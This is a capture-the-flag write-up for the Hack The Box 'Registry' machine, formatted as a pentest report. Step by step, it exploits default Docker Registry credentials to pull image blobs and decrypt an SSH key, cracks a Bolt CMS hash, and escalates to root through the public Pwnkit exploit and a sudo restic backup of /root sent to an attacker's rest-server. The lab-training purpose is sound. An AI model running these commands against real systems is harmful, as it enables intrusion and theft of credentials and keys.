Hack The Box Registry Writeup (Hard Linux)

Summary

Registry’s self-signed certificate points at docker.registry.htb, a Docker Registry API behind basic auth that still accepts admin:admin. Pulling the manifest for the bolt-image repository and downloading its blobs exposes an encrypted SSH private key for bolt along with the passphrase sitting in /etc/profile.d/02-ssh.sh, which is enough for an SSH login. On the box, the Bolt CMS SQLite database holds the admin bcrypt hash, and hashcat cracks it to strawberry, so logging in to Bolt and uploading a PHP file gives execution as www-data. Root falls two ways: the host runs a pkexec vulnerable to CVE-2021-4034, and www-data may run restic through sudo, so backing up /root to an attacker controlled rest-server over a reverse tunnel hands over root’s SSH private key.

Initial Target - 10.10.10.159

Virtual Host: registry.htb docker.registry.htb

Service Scanning

IP Address	Ports Open
10.10.10.159	TCP: 22 (OpenSSH 7.6p1) 80 (nginx 1.14.0) 443 (nginx 1.14.0)

Web Server Enumeration

Root web server has nothing but the default page for nginx. Both port 80 and 443.

SSL cert on port 443 is self-signed and indicates a subdomain: docker.registry.htb

Listing docker catalog: https://docker.registry.htb/v2/_catalog

BS01: Weak Credentials

Explanation: docker.registry.htb endpoint is hosting a Docker Registry API instance, which is sitting behind an authentication wall. However, default credentials (admin:admin) were found to be valid, allowing for a remote attacker to interact with the, otherwise protected, docker registry repository.

Severity: Elevated

Recommendation: (write recommendation here)

Steps to Reproduce:

1. In the following command, we listing all the available repositories by querying the _catalog endpoint, but there are plenty of docker registry API endpoints: curl -k https://docker.registry.htb/v2/_catalog -H "Authorization: Basic YWRtaW46YWRtaW4="

BS02: Sensitive Information Exposure

Explanation: A remote attacker may be able to access “bolt-image” docker image internal files by querying the registry instance at docker.registry.htband leveraging the vulnerability discussed in BS01. The vulnerability’s impact includes a remote attacker being able to read sensitive ssh private keys and their related decryption password.

Severity: High

Recommendation: (write recommendation here)

Steps to Reproduce:

1. First, we need to get the manifest: curl -k https://docker.registry.htb/v2/bolt-image/manifests/latest -H "Authorization: Basic YWRtaW46YWRtaW4=" > bolt-image.manifest

2. I created a python script to automate the download process for all the blobs, you can save it locally to script.py.

import json, requests, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

with open('bolt-image.manifest') as f:
	manifest = json.load(f)

layers = manifest['fsLayers']

blobs = [x['blobSum'] for x in layers]

BASE_URL = 'https://docker.registry.htb/v2'
HEADERS = {
	"Authorization": "Basic YWRtaW46YWRtaW4="
}

for index, blob in enumerate(blobs):
	r = requests.get(f"{BASE_URL}/bolt-image/blobs/{blob}", headers=HEADERS, verify=False)

	filename = f'blob-{index}.tar'
	with open(filename, 'wb') as f:
		f.write(r.content)

	print(f'Wrote tarball content for {filename}')

1. Run the script: python3 script.pyand wait until all the 9 blobs are downloaded

2. Extract the fourth blob: tar -xf blob-8.tar

3. Explore the newly created directories. The password we need to use in order to decrypt the ./root/.ssh/id_rsa private key is located at ./etc/profile.d/02-ssh.sh, which is: GkOcz221Ftb3ugog

4. To create a decrypted version of the ssh key: openssl rsa -in id_rsa -passin "pass:GkOcz221Ftb3ugog" > id_rsa.decrypted

Initial Access

BS03: Exposed Bolt CMS Credentials

Explanation: After a successful foothold, we were able to sneak into the boltcms database located at /var/www/hmtl/bolt/app/database/bolt.db, retrieve the admin’s bcrypt password hash and crack it with ease using the rockyou.txtwordlist. That means that the password policy is not as restrictive as it should be, allowing for users to be registered under insecure and widely exposed passwords. With access to the admin user in bolt cms, the remote attacker may be able to control everything related to it.

Severity: Elevated

Recommendation: (write recommendation here)

Steps to Reproduce:

1. Download the Bolt CMS database to your local system: scp -i id_rsa.decrypted bolt@registry.htb:/var/www/html/bolt/app/database/bolt.db ./bolt.db

2. Use sqlite3 to intract with the database: sqlite3 bolt.db

3. Execute the command select * from bolt_users; and copy the password hash for the admin user: $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK

4. Save the hash to a file (hash.txt) and use hashcat to crack it: hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

5. The cracked password (strawberry) should appear after some processing.

BS04: Horizontal Privilege Escalation

Explanation: With the cracked admin password for bolt CMS in hands, we can log in as admin to bolt and upload a php shell, successfully obtaining access user “www-data”.

Severity: Elevated

Recommendation: (write recommendation here)

Steps to Reproduce:

1. Run the PoC created by BehindSecurity to obtain RCE as www-data.

BS05: Vertical Privilege Escalation - Pwnkit

Explanation: The server is using a outdated and vulnerable version of pkexec. A remote attacker could be able to exploit CVE-2021-4034, a well-known vulnerability that allows for unprivileged users administrative rights on the target machine.

Severity: Extreme

Recommendation: (write recommendation here)

Steps to Reproduce:

1. Download this public PoC for CVE-2021-4034: git clone https://github.com/berdav/CVE-2021-4034.git

2. Zip it: zip -r cve.zip CVE-2021-4034/

3. Transfer the zip file to the target machine: scp -i id_rsa.decrypted cve.zip bolt@registry.htb:/dev/shm/cve.zip

4. In the target machine, as bolt: cd /dev/shm && unzip cve.zip

5. Enter the folder and make the exploit: cd CVE-2021-4034 && make

6. Execute the exploit to obtain root access to the machine: ./cve-2021-4034

BS06: Vertical Privilege Escalation - Restic

Explanation: User www-datahas sudo rights over the binary restic. A remote attacker could be able to create a malicious restic repository and read sensitive information regarding root’s ssh keys.

Severity: Extreme

Recommendation: (write recommendation here)

Steps to Reproduce:

1. Clone the restic rest server: git clone https://github.com/restic/rest-server.git

2. Install it: cd rest-server/ && make install

3. Run the rest server on your attacking machine: rest-server --no-auth --listen 0.0.0.0:4433

4. There are rules that disallow outgoing connection from the machine, so we need to tunnel the connection via SSH: ssh -i id_rsa.decrypted bolt@registry.htb -R:4433:localhost:4433

5. Initialize a restic repo: restic init -r rest:http://127.0.0.1:4433/bsec

6. Create a backup for the /root folder: sudo restic backup -r rest:http://127.0.0.1:4433/bsec /root

7. In your attacking machine, get the contents of root’s id_rsa: restic -r /tmp/restic/bsec/ dump latest /root/.ssh/id_rsa

8. Now, you just have to create the id_rsa and log in as root using ssh: ssh -i id_rsa root@registry.htb